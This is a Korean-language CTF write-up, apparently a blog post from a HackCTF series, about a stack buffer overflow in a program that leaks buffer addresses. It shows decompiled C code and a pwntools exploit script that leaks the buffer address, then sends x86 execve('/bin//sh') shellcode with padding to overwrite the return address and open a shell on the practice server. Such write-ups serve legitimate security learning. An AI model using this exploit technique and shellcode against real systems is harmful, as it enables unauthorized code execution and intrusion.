int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // ebx
char v5; // [esp+13h] [ebp-89h] BYREF
char s[128]; // [esp+14h] [ebp-88h] BYREF
int i; // [esp+94h] [ebp-8h]
setvbuf(stdout, 0, 2, 0);
v5 = 121;
do
{
printf("Data : ");
if ( __isoc99_scanf(" %[^\n]s", s) )
{
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
if ( (i & 0xF) == 0 )
printf("%p: ", &s[i]);
printf(" %c", (unsigned __int8)s[i]);
if ( i % 16 == 15 )
putchar(10);
}
}
printf("\nAgain (y/n): ");
}
while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
return 0;
}
문제 코드는 문자열을 입력하면 버퍼에 차곡차곡 저장되고 16 바이트 단위마다 다음 줄로 개행을 하는 방식으로 동작한다. 이번 문제 역시 ASLR이 걸려있어 접속할 때 마다 주소값이 바뀌지만 Again으로 다시 시작하면 주소 값이 바뀌지 않으므로 익스플로잇 할 수 있다. 풀이는 간단하다. 처음 Data가 저장되는 s 배열의 위치를 파악하고 Again으로 다시 데이터를 보내서 버퍼오버플로우를 이용해 main함수의 ret을 덮어씌우고 쉘코드를 이용해 쉘을 탈취할 수 있다.
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3006)
payload1=b"a"*4 # 주소 알아내기
r.recvuntil("Data : ")
r.sendline(payload1)
arr=r.recv(10) # 문자열 형식 16진수 수신
leak=int(arr,16)
print("[+] leakbase: " + hex(leak)) # leak 주소 출력
r.sendline("y")
payload2=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+ b"a"*111 + b"b"*4 + p32(leak)
r.sendline(payload2)
r.sendline("n")
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.09.14 |
---|---|
[HackCTF] Offset (0) | 2021.09.14 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.09.13 |
[HackCTF] x64 Buffer Overflow (0) | 2021.09.13 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.09.12 |
댓글